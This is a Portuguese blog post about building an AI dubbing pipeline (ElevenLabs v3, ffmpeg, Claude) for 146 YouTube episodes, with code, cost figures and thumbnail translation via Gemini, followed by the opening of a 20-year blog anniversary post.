Tecnicamente, esse foi o ponto de virada: em vez de deixar a estrutura da dublagem seguir a estrutura visual da legenda, o chunker passou a seguir a estrutura real dos parágrafos do roteiro. Não vou repetir aqui toda a novela de como cheguei nisso e por que isso acabou forçando rerender em massa, porque volto nessa história mais abaixo, na parte dos problemas que só apareceram depois do primeiro upload. O ponto técnico aqui é simples: quando a janela passou a representar um parágrafo falado de verdade, o áudio começou a soar natural e o alvo de stretch pôde subir de 92% pra 95%.

Feito isso, ainda sobra o problema do inglês ser mais longo ao falar que o português equivalente. Aqui a sacada é prever se um chunk vai estourar a janela alvo antes de gerar o áudio. Se a razão caracteres / 16 caracteres-por-segundo já passa da duração alvo com uma margem, a pipeline manda o parâmetro speed direto pra API da ElevenLabs, pedindo pro modelo gerar o áudio nativamente mais rápido. Isso preserva a prosódia muito melhor do que comprimir depois. O teto é 1.15× (acima disso a voz começa a soar atropelada).

# antes de chamar a API, prevê se vai estourar
expected_sec = char_count / EXPECTED_CHARS_PER_SEC  # 16 chars/s
predicted_ratio = expected_sec / target_sec

voice_speed = 1.0
if predicted_ratio > PREEMPTIVE_SPEED_THRESHOLD:   # 1.05
    voice_speed = min(predicted_ratio * 0.98,
                      PREEMPTIVE_SPEED_MAX)         # cap em 1.15
    voice_settings["speed"] = voice_speed

Mesmo com o speed preventivo ligado, às vezes o áudio gerado ainda fica um pouquinho mais longo do que a janela alvo. Pra isso existe uma segunda rede de proteção: medir o áudio real com ffprobe depois de gerado, comparar com a janela alvo, e aplicar o filtro atempo do ffmpeg pra comprimir no pós-processo se passou de 2% de tolerância, com teto de 1.20×. A combinação do speed nativo (1.15×) com o atempo (1.20×) dá uma compressão efetiva de até 1.38×, suficiente pra caber naturalmente mesmo nos casos mais extremos sem quebrar qualidade.

# depois de gerar o chunk
actual = ffprobe_duration(chunk_path)
ratio = actual / target_sec

if ratio > FIT_TOLERANCE:       # 1.02
    # comprime o áudio sem mexer no pitch
    ffmpeg_atempo = min(ratio, FIT_MAX_ATEMPO)   # 1.20
    apply_atempo(chunk_path, ffmpeg_atempo)

Quando um chunk gerado fica mais curto que a janela alvo, o pipeline estende o áudio levemente (sem afetar pitch) pra reduzir o silêncio feio depois que ele termina. O objetivo não é preencher a janela inteira, uma pausa natural entre frases é boa, mas suavizar os casos mais gritantes de silêncio que dariam a impressão de “áudio cortado”.

Num episódio grande, 95 minutos, 194 chunks, o desvio cumulativo total ficou em -0,7%. Uns 43 segundos de drift ao longo do episódio inteiro, imperceptível enquanto você assiste.

O que salvou o orçamento nessa arquitetura é que cada chunk fica salvo individualmente no disco como um .mp3 separado. A pipeline mantém um manifesto com o texto normalizado de cada chunk, e antes de chamar a API da ElevenLabs, compara o texto atual com o cache. Se o texto não mudou, reutiliza o áudio já gerado sem gastar crédito nenhum. Se eu reescrevo uma cue problemática, só os chunks afetados por aquela cue são regenerados — o resto do episódio fica intacto.

Isso é o que viabilizou as iterações. Eu rodava o batch, escutava trechos, identificava um problema (tradução longa demais, snippet de código que o TTS não conseguia pronunciar, chunking que cortou num ponto ruim), corrigia o SRT ou ajustava os parâmetros do chunker, e rodava de novo. Cada re-run consumia uma fração dos créditos e do tempo do run original, porque só os chunks alterados eram regenerados. Sem esse cache, cada iteração teria custado quase o mesmo que a primeira rodada, e o custo total do batch teria sido duas ou três vezes maior.

Essa mudança de chunking também teve impacto pesado no cache e no custo, mas deixo essa parte pro trecho mais abaixo onde explico a sequência de retrabalho. Aqui basta dizer que, do ponto de vista técnico, era a mudança certa.

Quando o atempo não salva: reescrevendo cue antes do TTS

Nem tudo é questão de alinhamento de janela. Tem um tipo de cue que quebra o pipeline inteiro, onde nem speed preventivo nem atempo no pós-processo resolvem, e eu só esbarrei nisso quando comecei a rodar o batch nos episódios mais técnicos do canal.

O problema é o seguinte. O v3 lê a uns 16 caracteres por segundo quando você entrega texto normal de conversa. Mas quando você entrega uma cue recheada de URL literal, hash hexadecimal, string binária, uma lista de números ordenados ou um bloco de código shell, o modelo entra em modo “soletrar letra por letra” e despenca pra uns 9 caracteres por segundo. Uma cue de 500 caracteres que devia virar 30 segundos de áudio vira 55. A checagem de sanidade derruba (porque passou de 1.8×), o retry automático tenta de novo com os mesmos 500 caracteres, os cinco retries falham seguidos, e o chunk fica preso.

E isso não aconteceu por acaso. Eu escrevia desse jeito porque sabia que esses mesmos roteiros depois virariam post no blog, então fazia sentido deixar a URL crua, o comando completo, o hash inteiro, o detalhe técnico todo mastigado pro leitor. Em português isso funcionava bem porque era exatamente o meu fluxo original: gravar o vídeo e depois publicar o texto correspondente no blog. O que eu nunca tinha preparado era a etapa seguinte, de transformar esse mesmo material em dublagem automatizada pra inglês. Eu só fui perceber esse conflito quando a pipeline começou a falhar de verdade.

Peguei isso primeiro no ep052, o guia de Ubuntu pra devs iniciantes, onde duas cues traziam URLs do github.com, URLs hkp://keyserver.ubuntu.com e um hash GPG de 40 caracteres. Tentar resolver no pós-processo seria perda de tempo. O teto de 1.20× do atempo nunca vai comprimir 55 segundos em 30, e mesmo se conseguisse ia sair num chipmunk ilegível. A saída é atacar antes, no texto.

A solução foi reescrever a cue dizendo o que o comando faz, em vez de mostrar o comando literal:

- Rode: apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 \
-   --recv-keys 0A6A3E7F79F93EF8AAB9E92BAEBB74C8B5A1E44D
+ Rode o comando completo que tá na descrição do vídeo pra importar
+ a chave de assinatura do repositório do keyserver do Ubuntu.

A legenda em inglês no vídeo continua mostrando o comando inteiro na tela, então quem lê a legenda vê o que precisa digitar. O áudio dublado descreve a intenção em linguagem falada, que é o que o TTS entrega sem engasgar. A instrução pro ouvinte fica intacta, e o caractere-por-segundo volta pros 16 esperados, então o áudio gerado cabe na janela original sem precisar esticar nem comprimir nada no pós.

Saí caçando cue assim em todos os episódios do batch. Varri do ep052 ao ep146 procurando cues com densidade alta de caractere “duro” (dígitos, colchetes, operadores, URLs longas, binário, hex) e acabei reescrevendo umas 30 cues em 13 episódios:

• ep052 Ubuntu pra devs: URLs do GitHub e hash GPG de 40 caracteres
• ep091 Hello World em C: exemplos binários
• ep095 Memória 640kB: wrap de endereço, segment-offset
• ep106 CodeMiner: endereço de e-mail soletrado
• ep113 Compressão: strings de binário puro, 75% de caractere duro
• ep115 SQL Server: lista longa de números ordenados
• ep120 Internet: endereços IP com pontos
• ep121 Sockets: dois blocos de código JavaScript
• ep122 Proxies: headers User-Agent do Chrome
• ep123 Rede segura: one-liners shell, flags do Docker
• ep126 Gentoo: demo de chroot em C
• ep136 Containers: URL de release do GitHub
• ep144 Criptografia: endereço de signing key

O padrão foi sempre o mesmo: mantém a legenda exibindo o código, a URL ou o hash na íntegra, e reescreve o texto pro narrador descrever o que aquilo faz. Eu podia ter automatizado a reescrita, deixando um LLM ler a cue e propor uma substituição no voo, só que achei mais seguro revisar tudo manualmente. É exatamente o tipo de coisa onde o modelo resolve “melhorar” um comando pra deixá-lo mais limpo e sai com shell errado. A varredura manual levou umas duas horas. A automática teria custado o mesmo tempo em revisão, com o bônus da ansiedade de ter deixado passar algum comando mutilado.

Teve também um caso estrutural esquisito no ep146, sobre Docker Compose. Duas cues ficaram grudadas por causa de uma linha em branco faltando no SRT, e o pysrt tratava as duas como uma única cue gigante. O TTS nem chegava a processar, o chunker engasgava antes. Corrigi à mão adicionando a linha em branco que faltava. Fix de um caractere, meia hora pra rastrear.

Reconstruindo SRTs truncadas

Outra armadilha apareceu quando fui rodar o batch completo: três episódios tinham legendas em inglês curtas demais em relação à duração real do vídeo. O ep056, sobre Rails, era o caso mais absurdo. Dezenove minutos de legenda pra um vídeo de 80 minutos. Sessenta e dois minutos de conteúdo sem legenda nenhuma. O ep057 (WSL 2) tinha 14 minutos faltando, e o ep068 (Git Direito) tinha 2.

Isso é rastro do meu fluxo de tradução antigo. Em algum momento eu comecei a revisar a legenda manualmente, parei no meio, e o arquivo .en.srt ficou salvo truncado no ponto onde eu parei. Não dá pra dublar um vídeo de 80 minutos com legenda de 19. O chunker gera áudio até onde consegue ler e simplesmente não sabe o que fazer com o resto do vídeo.

A solução virou um script novo. Ele faz diff entre o .en.srt truncado e o .pt-orig.srt (o auto-caption bruto do YouTube, que sempre cobre o vídeo inteiro), pega as cues que existem só em português, manda pro Claude Sonnet 4.6 com um schema JSON rígido pedindo tradução cue a cue, e cola o resultado de volta no fim do arquivo em inglês. O schema é o detalhe que importa. Quando eu tentei pedir a resposta em texto no formato N|texto, o Claude deixava cair umas 20% das cues no caminho. Com um schema JSON estrito, a taxa de drop caiu pra zero nos três reparos.

O resultado em números:

• ep068 Git Direito: +50 cues / 2 minutos reconstruídos
• ep057 WSL 2: +368 cues / 14 minutos
• ep056 Rails: +1445 cues / 62 minutos (e ainda drop de 5 cues falsas que o tradutor antigo tinha inventado no fim pra tampar a saída)

Depois dos reparos, os três episódios entraram no batch normalmente e foram dublados como qualquer outro. Tipo de ferramenta que você espera nunca precisar, só que quando precisa, compensa escrever uma vez e resolver o problema inteiro de uma vez.

Tags de emoção automáticas

Enquanto eu tava testando, resolvi adicionar mais um passo no pipeline: um “emotion tagger” que lê o SRT em inglês antes de mandar pro TTS e insere tags tipo [sarcastic], [thoughtful], [emphatic], [deadpan] em pontos onde um narrador humano naturalmente mudaria o tom. A ideia é imitar o que um ator profissional faria, colocar ênfase nos momentos certos, sem transformar o vídeo num teatro de emoções exageradas.

Essa parte é delicada por dois motivos. O primeiro: deixar um LLM solto editando o SRT tem risco real de ele “melhorar” o texto (trocar uma palavra aqui, reescrever uma frase ali) e você acabar com uma dublagem que não bate com a legenda. O segundo: LLM adora exagerar. Se você pedir pra marcar emoção, ele vai colocar tag em toda segunda frase. Pra evitar os dois, eu fixei uma lista pequena de tags permitidas e rodo uma validação de round-trip depois que a resposta do Claude chega:

ALLOWED_TAGS: frozenset[str] = frozenset({
    "[sarcastic]", "[thoughtful]", "[emphatic]",
    "[deadpan]", "[serious]", "[amused]",
    "[sighs]", "[exasperated]", "[confident]",
    "[matter-of-fact]",
})

def validate_tagged(original, tagged):
    """Garante que o SRT com tags preserva o original sem drift."""
    if len(original) != len(tagged):
        raise TagValidationError("cue count mismatch")

    for o, t in zip(original, tagged):
        # O index e o timestamp têm que bater byte a byte.
        if o.index != t.index or o.timestamp != t.timestamp:
            raise TagValidationError(f"cue {o.index}: header drift")

        # Qualquer tag fora da whitelist invalida tudo.
        bad = find_disallowed_tags(t.text)
        if bad:
            raise TagValidationError(f"cue {o.index}: {bad}")

        # O texto sem as tags tem que ser idêntico ao original.
        # Se o LLM trocou uma palavra, reescreveu algo, a
        # validação quebra e a resposta é rejeitada.
        if strip_tags(o.text) != strip_tags(t.text):
            raise TagValidationError(f"cue {o.index}: text drift")

Quando a validação quebra, a pipeline ignora a resposta e reemite o request (ou, se falhar muito, sobe o SRT sem tags mesmo). Sobre a quantidade de tags, o prompt que vai pro Claude diz explicitamente: mira em N/10 tags pra um SRT de N legendas, chão de 1 tag a cada 12, teto de 1 tag a cada 7, distribuição equilibrada entre os quatro quartos do episódio, nunca duas tags adjacentes a menos de 4 legendas uma da outra. Esse conjunto de regras foi a sexta iteração — as cinco anteriores ou enchiam tudo de tag ou concentravam no começo do vídeo.

Não deixe a v3 alucinar

Um detalhe crítico que só aparece em produção: a ElevenLabs v3 tende a alucinar quando você manda blocos de texto muito longos. Já peguei blocos onde o texto tinha uns 1.500 caracteres e o modelo gerou um áudio com nove minutos quando o esperado era um minuto e meio. O modelo simplesmente resolve continuar falando sozinho, inventando conteúdo.

A documentação oficial da ElevenLabs recomenda manter cada chamada abaixo de 800 caracteres pra evitar isso. Eu fui mais conservador e cortei em 700, sempre em fim de frase (nunca no meio de uma sentença, porque o corte no meio soa horrível quando concatena). Depois disso, subi o parâmetro stability pra 0.9 (modo Robust, mais estável porém menos responsivo a tags de emoção), liguei o apply_text_normalization pra o modelo pronunciar números e siglas direito, e adicionei uma verificação de sanidade que rejeita qualquer áudio gerado que passe de 1.8× da duração esperada.

DEFAULT_VOICE_SETTINGS = {
    "stability": 0.9,          # modo Robust
    "similarity_boost": 0.95,
    "style": 0.0,
    "use_speaker_boost": True,
}

EXPECTED_CHARS_PER_SEC = 16.0
CHUNK_SANITY_MAX_FACTOR = 1.8   # rejeita se actual > 1.8× esperado

Depois dessas mitigações, um episódio de 95 minutos (194 blocos) rodou do começo ao fim sem nenhuma alucinação. Exatamente um bloco falhou por erro 502 transitório da API, que o retry automático pegou na tentativa seguinte.

Masterização pro YouTube

O YouTube não publica número oficial, mas o consenso da indústria é que a normalização de volume dele na hora da reprodução mira em -14 LUFS. Se você entregar áudio mais alto que isso, o YouTube baixa; se entregar mais baixo, ele deixa como tá. Pra bater o alvo exato, o pipeline roda o filtro loudnorm do ffmpeg em duas passadas. A primeira mede o áudio inteiro e imprime as estatísticas (input_i, input_tp, input_lra, input_thresh) em formato JSON no stderr. A segunda passada lê essas estatísticas de volta e aplica um ganho estático linear pra pousar exato em -14 LUFS, -1.5 dBTP:

# Passada 1: medir
ffmpeg -i final_en.mp3 \
  -af "highpass=f=80,loudnorm=I=-14:TP=-1.5:LRA=9:print_format=json" \
  -f null -

# Passada 2: aplicar ganho linear com os valores medidos
ffmpeg -i final_en.mp3 \
  -af "highpass=f=80,loudnorm=I=-14:TP=-1.5:LRA=9\
:measured_I=-18.3:measured_TP=-3.1:measured_LRA=5.4\
:measured_thresh=-28.7:offset=1.2:linear=true" \
  -ar 48000 -ac 2 -c:a pcm_s16le final_en_mastered.wav

Duas passadas em vez de uma porque o modo de passada única roda em compressão dinâmica e acaba “bombeando” o ganho em trechos com muito silêncio. Com linear=true na passada 2, o ganho fica estático em cima das medições da passada 1, então não tem bombeamento. O resultado pousa dentro de ±0.1 LU do alvo, que é praticamente inaudível. O filtro highpass=f=80 na frente derruba rumble de ar-condicionado e hum de rede elétrica abaixo de 80 Hz, que o ouvido humano não escuta mas mexe nas medições de pico.

O ponto em que eu achei que estava pronto. E não estava.

Aqui entra a parte mais chata, e mais educativa, do projeto.

Eu realmente achei que tinha acertado a mão na primeira grande rodada. A pipeline fechou os 146 episódios, eu subi tudo, e parecia resolvido. A duração batia, os arquivos estavam todos lá, o processo inteiro tinha finalmente atravessado o lote completo de quase 96 horas de vídeo. Só que foi justamente depois do upload que comecei a perceber problemas que eu simplesmente não tinha antecipado.

O primeiro susto foi a situação dos jingles. Eu já sabia que muitos episódios do Akitando começam com aquele jingle instrumental curto antes de eu começar a falar, mas subestimei o problema. O .srt do YouTube praticamente não ajuda nisso, porque jingle não é fala. Às vezes ele marca como [Música], às vezes não marca nada útil, às vezes a janela fica torta. Na primeira montagem, teve episódio onde o jingle sumiu, episódio onde ele entrou duplicado, e episódio onde o source-fill do áudio original já trazia o jingle certo e o meu splice vinha por cima, empurrando todo o resto pra frente. Foi o tipo de bug que só aparece quando você para pra escutar a master final de verdade, não quando olha só pra duração total.

A solução foi abandonar a esperança de que a legenda me diria onde estava o jingle e ir direto pra fonte. Montei um detector usando os próprios áudios originais dos vídeos e jingles de referência, com auditoria e repair pass em cima dos masters já gerados. Isso acabou virando um mini-sistema próprio: detector, auditoria, reassemble por cache, correção por janela exata. No fim dessa novela, o batch de episódios alterados caiu num conjunto de reupload bem definido e o problema dos jingles ficou finalmente sob controle. Foi um daqueles casos clássicos de produção: a primeira solução parecia suficiente até bater no acervo inteiro.

Só que aí veio a segunda pancada, e essa foi mais cara: eu tinha esquecido de um detalhe fundamental sobre legendas de YouTube. SRT é feita pra ser lida na tela, não pra virar roteiro de fala. Então uma ideia que no meu texto original era um parágrafo inteiro aparecia quebrada em várias cues pequenas, cada uma com sua microjanela de tempo. Na primeira versão da pipeline eu estava usando essas cues como unidade de geração na ElevenLabs. Resultado: o TTS gerava áudio em blocos coerentes localmente, mas a montagem introduzia silêncios artificiais no meio da frase. Tecnicamente alinhado, humanamente esquisito.

O conserto foi doloroso porque exigiu voltar várias casas. Em vez de respeitar a estrutura das cues do SRT, precisei voltar pros meus textos originais e reconstruir o chunking com base nos parágrafos que eu realmente li quando gravei os vídeos. Quase todo episódio do Akitando tem o post correspondente com a seção ## Script, e isso salvou o projeto. Como eu fui meticuloso na época em que produzi os vídeos — escrevendo os roteiros antes, lendo exatamente aquilo na gravação e arquivando tanto os vídeos quanto os scripts — eu tinha a fonte de verdade. Então deu pra mapear os parágrafos do script aos timings do .pt-BR.srt, reagrupar o .en.srt em cima disso e regenerar os chunks no formato certo.

O problema é que essa mudança destrói o cache anterior. Mesmo quando o texto quase não muda, se a fronteira do chunk muda, a chamada ao TTS muda junto: muda contexto, muda prosódia, muda começo, muda fim. Então não era um retoquezinho. Era uma regeneração completa de tudo de novo. Foi aí que o custo começou a sair do meu controle inicial.

E quando eu achei que agora sim tinha terminado, veio a terceira paulada: os clipes externos. Muitos vídeos do canal têm trechos inseridos de outras fontes. No episódio de Ruby on Rails, por exemplo, tem 37signals, Apple, comerciais, pedaços externos no meio da narrativa. O .srt do YouTube não sabia lidar direito com isso. Em alguns pontos ele simplesmente alucinava texto, em outros os timings ficavam completamente tortos, em outros a fala original não tinha nada a ver com a legenda que eu estava usando de base. De novo: olhando só pra automação parecia tudo bem; escutando a master final, não estava.

A correção, mais uma vez, foi sair da legenda e voltar pro material original. Montei um detector de janelas de clipe externo a partir de gaps de alinhamento entre transcript, .pt-BR.srt, cues sem fala útil e chunks que atravessavam essas janelas. Depois, em vez de tentar dublar o que não fazia sentido dublar, o processo passou a recuperar o áudio original do vídeo exatamente nesses trechos e preencher a master com o source correto. Foi isso que consertou os casos de 37signals, Apple Education, comercial de Mac vs PC e outros inserts parecidos que eu tinha esquecido que existiam.

Esse foi o aprendizado mais importante dessa segunda metade do projeto: automação te leva muito longe, mas o acervo completo sempre tem mais cantos escuros do que você imagina no primeiro passe.

Os números do batch de dublagem (e por que doeu mais do que eu imaginei)

Eu preciso me corrigir de novo. Não errei só a primeira conta. Errei também o grau de confiança que eu tinha depois da primeira rodada.

Quando subi pro plano Business da ElevenLabs, eu achei que finalmente estaria com folga. Na prática, não fiquei. O screenshot mais recente do dashboard mostra 10.046.279 créditos consumidos de um limite de 11.000.000, sobrando 953.721:

Em português claro: eu torrei mais de 91% do limite do workspace Business. E isso ajuda a entender o que “10 milhões de créditos” realmente significa nesse contexto. Não é só “renderizei 146 episódios uma vez”. É renderizar 146 episódios, descobrir um problema estrutural, voltar, corrigir, regenerar chunks, descobrir outro problema estrutural, voltar, reconstruir masters, auditar jingles, reparar janelas de clipes externos, reupar de novo. Cada rodada a mais custa. E quando a mudança invalida o cache, custa muito.

O custo também não para na ElevenLabs. Todo o trabalho de curadoria das legendas, reescrita de cues problemáticas, reconstrução de SRTs truncadas, auditorias de jingle, detector de clipes externos e o resto rodou via Claude Code no plano Claude Max 20×. Somando isso com a tradução em massa do blog pra inglês que eu descrevi no artigo de aniversário, o limite semanal do Claude Max 20× bateu 100%, com gasto extra acima de R$ 300. Pra quem acha que IA generativa vira grátis depois que você assinou o plano, os boletos discordam.

Mesmo assim, continuo achando que vale a pena. Estamos falando de 146 episódios, quase 96 horas de conteúdo técnico, mais de 5 anos de acervo do canal. Fazer isso manualmente em estúdio, com ator, direção, pickup e revisão humana em tudo, custaria uma ordem de grandeza completamente diferente.

O que mudou foi minha visão do projeto. No começo eu tava olhando pra isso como “um batch grande”. No fim, era outra coisa. Era mexer num acervo inteiro, achar exceção escondida, consertar ferrugem antiga, refazer master, rerender, reouvir.

O primeiro batch completo levou pouco menos de dois dias e me fez pensar que eu tinha resolvido tudo. Não tinha. A segunda rodada, com chunking por parágrafo, já foi cara. A terceira, com os reparos de jingle e os consertos de masters, mais cara ainda. E a quarta pancada veio dos clipes externos que eu não tinha modelado direito na primeira automação.

Mas agora, finalmente, eu acho que acabou. Ou melhor: eu espero que tenha acabado. Tudo foi enviado de novo, pela última vez. Não está perfeito no sentido absoluto da palavra. Está tão bom quanto eu consigo deixar com script, auditoria e automação, sem entrar num inferno de intervenção manual vídeo por vídeo.

E se isso tudo foi possível, é porque anos atrás eu tive a disciplina de produzir os vídeos do jeito certo: escrever primeiro, ler o roteiro quando gravava, e arquivar os materiais depois. Sem os vídeos originais e sem os scripts originais, eu não teria como descobrir onde o .srt mentia, onde o timing estava torto, onde o clipe externo entrava, onde o parágrafo original começava e terminava. Essa organização antiga foi o que permitiu consertar o projeto agora.

Então sim: a dublagem dos 146 episódios está pronta. Não perfeita. Mas fechada. Pelo menos, eu sinceramente espero que agora sim esteja.

O primeiro teste, assista

Fiz um vídeo teste pra provar que funciona. Dois avisos antes: primeiro, o embed abaixo já carrega com a legenda em inglês ligada por padrão, então esse lado dá pra resolver via URL. Segundo, o áudio é chato: o YouTube removeu o seletor de faixa de áudio dos players embedados lá por março desse ano. Então dentro do embed você não vai encontrar essa opção no menu de engrenagem mesmo, só roda em português. Pra ouvir a dublagem em inglês de verdade, clica em assistir direto no YouTube, que a página principal do YouTube ainda tem o seletor de faixa de áudio no menu de engrenagem.

Se você tá acostumado com a dublagem automática do YouTube ou com as dublagens de IA de TikTok, compara. A diferença é gritante. A voz é a minha, com sotaque americano trabalhado, e a sincronização com o vídeo original fica dentro de 1 a 2% de desvio cumulativo, praticamente imperceptível em 95 minutos de vídeo.

E o que faltava: traduzir as thumbnails

Quando eu estava fechando esse post, me caiu a ficha de que tinha deixado uma ponta solta. As 146 thumbnails do meu canal estão em português, muitas com título em caixa alta grande tipo “9 DICAS PARA PALESTRANTES” ou “7 RECOMENDAÇÕES DE SHOWS PARA PESSOAS DE TECH”. De nada adianta áudio em inglês perfeito se a imagem que aparece na busca é um bloco de texto ilegível pra quem não lê português. O YouTube permite subir uma thumbnail alternativa por idioma, então eu precisava gerar versões em inglês, mantendo o resto da arte idêntico, trocando só o texto.

A ferramenta usa duas peças. yt-dlp é o fork moderno do antigo youtube-dl, uma CLI em Python que baixa qualquer coisa do YouTube (vídeos, áudios, legendas, thumbnails) sem precisar de API key. Nano Banana Pro (nano-banana-pro-preview na API) é o modelo de edição de imagem mais recente do Google Gemini — aceita uma imagem de entrada com um prompt e devolve a imagem editada, preservando o resto da composição quando você pede pra mexer só numa parte.

O pipeline tem dois passos. Passo 1: yt-dlp pega a thumbnail em .jpg, sem baixar o vídeo:

yt-dlp --skip-download \
       --write-thumbnail \
       --convert-thumbnails jpg \
       -o "thumbnails/originals/<slug>/<video_id>" \
       "https://www.youtube.com/watch?v=<video_id>"

Passo 2: mandar cada imagem pro Gemini Nano Banana Pro com um prompt que é um contrato rígido de requisitos duros, não só um “traduz isso”:

TASK:
Detect every piece of Portuguese text visible on this image and
translate it to clear, natural American English. Replace the
Portuguese text with the English translation in the same visual
position.

STRICT REQUIREMENTS — follow every one:
- Preserve EVERY non-text element identically: face, pose,
  expression, background, color palette, lighting, icons, logos,
  decorative shapes, borders, layout. Only the text changes.
- The English translation must be IDIOMATIC and CONFIDENT — not
  a literal word-for-word rewrite. It's a YouTube thumbnail for a
  tech audience, so use punchy phrasing a native English-speaking
  tech YouTuber would write.
- Match the original text's font family, weight, size, color,
  stroke outline, drop shadow, and any decorative treatment.
- If there is no Portuguese text at all on the image, return the
  original image unchanged.

A cláusula “return the original image unchanged” é o que salva os primeiros episódios do canal, que não têm texto na thumbnail, só minha cara. Sem ela, o modelo invariavelmente ia “melhorar” a composição, trocar a iluminação, etc.

Olha o resultado em dois exemplos (episódios 10 e 11):

Original (PT)

Traduzida (EN)

Original (PT)

Traduzida (EN)

Repara no detalhe do episódio 10. O modelo não traduziu “7 Recomendações de Shows para Pessoas de Tech” literal pra “7 Show Recommendations for Tech People”, que seria a versão tradutor automático. Ele reformulou pra “7 TV Shows You Must Watch If You’re In Tech”, como um tech YouTuber americano de verdade escreveria. O resto da imagem fica idêntico pixel a pixel. No episódio 11, “9 DICAS PARA PALESTRANTES: venda sua caneta” vira “9 TIPS FOR SPEAKERS: sell your pen”, com fonte, caixa alta e posição preservadas. Se você não soubesse que o original era em português, não dava pra adivinhar que é uma edição automática feita por IA.

Custo do lado Gemini: alguns centavos por imagem, poucos dólares totais pro batch inteiro. Trivial perto dos $1.500+ do dub. Com a thumbnail resolvida, a conversão do canal pra inglês fica fechada — áudio clonado pela ElevenLabs v3 em cima das legendas curadas em .srt, e a imagem editada pelo Nano Banana Pro pra o título bater com o resto.

A conclusão, que é o título desse post

Quando o Qwen3 TTS saiu, o hype dizia que era “ElevenLabs killer”. Passei semanas tentando viver com essa premissa na prática, com conteúdo real no ar toda semana. E o que eu descobri é que open source de TTS ainda tá muito longe da ElevenLabs. A diferença é grande, e ela aparece justamente quando você sai do tweet de demo de 5 segundos e coloca o modelo pra rodar um podcast semanal de 30 minutos de verdade.

Na prática, o Qwen3 nem bate o modelo v2 da ElevenLabs. O v3, que é o atual, fica um degrau acima do v2 ainda. A prosódia sai melhor, as tags de emoção no meio do texto funcionam em português e em inglês sem esforço, e a API fica de pé sem você precisar manter servidor nenhum. O custo por caractere é um pouco mais alto, mas pro meu volume atual ele fica confortavelmente dentro do orçamento e me devolve horas que eu gastava cuidando de GPU.

A lição aqui é a mesma que a galera de LLMs tá aprendendo devagar. Demo de tweet de 30 segundos é uma coisa, produção é outra coisa completamente diferente. Open source tem seu nicho, principalmente quando você tem dado sensível que não pode sair de casa, ou quando você tem muita GPU ociosa e pouco orçamento recorrente. Só que pra uso sério de TTS em produto comercial, aqui em abril de 2026, a ElevenLabs segue imbatível. O Qwen3 não matou ninguém.

E não esquece: assina o The M.Akita Chronicles no Spotify pra não perder episódio novo desses, feito com a nova pipeline.

Quatro dias atrás, 5 de abril de 2026, meu blog completou 20 anos. Eu sei, eu atrasei o post comemorativo. Mas tem um motivo, e esse motivo é o assunto desse texto.

Eu comecei em 2006 no Blogspot do Google, como a maioria fazia na época. Depois migrei pra um CMS em Rails 2.0 que já existia, passei pelo Typo3, e lá em 2012 fiz minha própria engine do zero em ActiveAdmin, que fui arrastando de Rails 3 até Rails 7. Só recentemente, em setembro de 2025, finalmente larguei essa engine própria e fui pro Hugo com o tema Hextra, que é onde esse post está rodando agora. Vinte anos carregando os mesmos posts de Textile, migrando de Less pra Sass, trocando Liquid por Markdown, e removendo lixo obsoleto ao longo do caminho.

Duas décadas, cinco eras

Uma coisa que poucos programadores param pra refletir é o quanto o mundo de tecnologia muda em 20 anos. Eu já falei sobre isso no Akitando #37 - A Dimensão do Tempo. Quando eu abri esse blog em abril de 2006, eu já tinha 10 anos de experiência. Já tinha visto a bolha da internet subir e explodir em 2000. E desde então ainda vi mais umas quantas: a ascensão das redes sociais (Orkut, Facebook, Twitter), a revolução do smartphone e do app móvel em 2008, a crise econômica de 2008, o nascimento do Bitcoin em 2009, a era da nuvem e do SaaS, agora a era da IA generativa.

Eu vi essas ondas estourarem na prática. Cada uma delas mudou completamente como a gente trabalha e quem sobrevive profissionalmente. Esse tipo de coisa a gente só enxerga olhando de longe, depois de acumular umas quantas viradas.

Minha carreira em si passou por viradas drásticas. Contei em detalhe nos Primeiros 5 Anos (1990-1995), mas resumindo: comecei em agências de multimídia, migrei pra consultoria enterprise trabalhando com SAP, abandonei tudo em 2006 pra entrar em Ruby on Rails e open source, passei uma década organizando evento, principalmente a Rubyconf Brasil de 2007 até 2018, depois fechei a porta do evento e comecei o canal Akitando no YouTube, que cresceu pra mais de 500 mil inscritos. No meio disso teve a pandemia que reorganizou a vida de todo mundo. E agora, desde o começo de 2025, virei pesquisador e usuário em tempo integral de IA, rodando modelos localmente e quebrando coisas com Claude Code até elas funcionarem.

Olhando pra tag /tags/ai, eu escrevi 51 posts relacionados a IA só entre 2025 e 2026 — 19 em 2025 e mais 32 em 2026, que mal começou. Antes de 2025, entre 2018 e 2024, o blog basicamente virou o arquivo dos transcripts dos vídeos do Akitando. Eu filmava o vídeo, fazia o transcript, jogava no blog, e as pessoas liam lá. Mas desde que eu voltei a escrever ativamente, notei que tinha uma audiência leal que nunca foi embora, mesmo nos anos quietos. E foi esse feedback que me fez começar The M.Akita Chronicles, uma série mais pessoal contando os bastidores de projetos recentes.

O problema que eu nunca resolvi

Durante esses 20 anos, uma coisa me incomodava. Como o conteúdo é todo em português, fica inacessível pra todo mundo que não lê a língua. E faz uns bons anos que eu venho recebendo mensagens de leitores brasileiros morando fora (Portugal, Estados Unidos, Japão, Alemanha, Canadá) pedindo alguma versão em inglês pra compartilhar com colegas gringos. Coisa tipo “olha, eu mostraria esse texto pro meu time, mas só tá em português.”

Eu sempre disse “um dia eu traduzo.” E nunca traduzi. Por quê? Porque são centenas de posts. Passei os últimos dois dias olhando os números: 727 arquivos index.md em português no repositório. Traduzir tudo à mão, um por um, ia tomar semanas se não meses de trabalho dedicado. Eu nunca ia ter fôlego pra isso. E a cada ano que passava, mais posts se acumulavam pra traduzir.

A ironia é que alguns posts do blog nasceram em inglês. Durante 2017 e 2018 eu tinha decidido escrever primeiro em inglês pra tentar alcançar audiência internacional. Uma série inteira de entrevistas, as “chatting-with” com gente tipo Hal Fulton, Scott Hanselman, Chris Wanstrath (do GitHub), Blaine Cook (ex-Twitter), Adam Jacob (Chef), nasceram em inglês e ficaram lá. Faltava o inverso: pegar os posts em português e traduzir pro outro lado.

O fim de semana que consertou 20 anos de dívida técnica

Na segunda passada eu abri o Claude Code dentro do diretório do blog. E pedi pra ele traduzir tudo pra inglês. Foi literalmente isso.

Começou na segunda-feira, dia 6 de abril, por volta das 18:30h. Eu deixei rodar. Fui dormir. Acordei terça, continuei rodando. Dormi de novo. Quarta de manhã cedo ele terminou. Contando o tempo total do primeiro commit de tradução até o último, foi algo como 39 horas. Mas não foi contínuo, teve noites, almoços, uma roda de café. Na prática, um fim de semana estendido de trabalho.

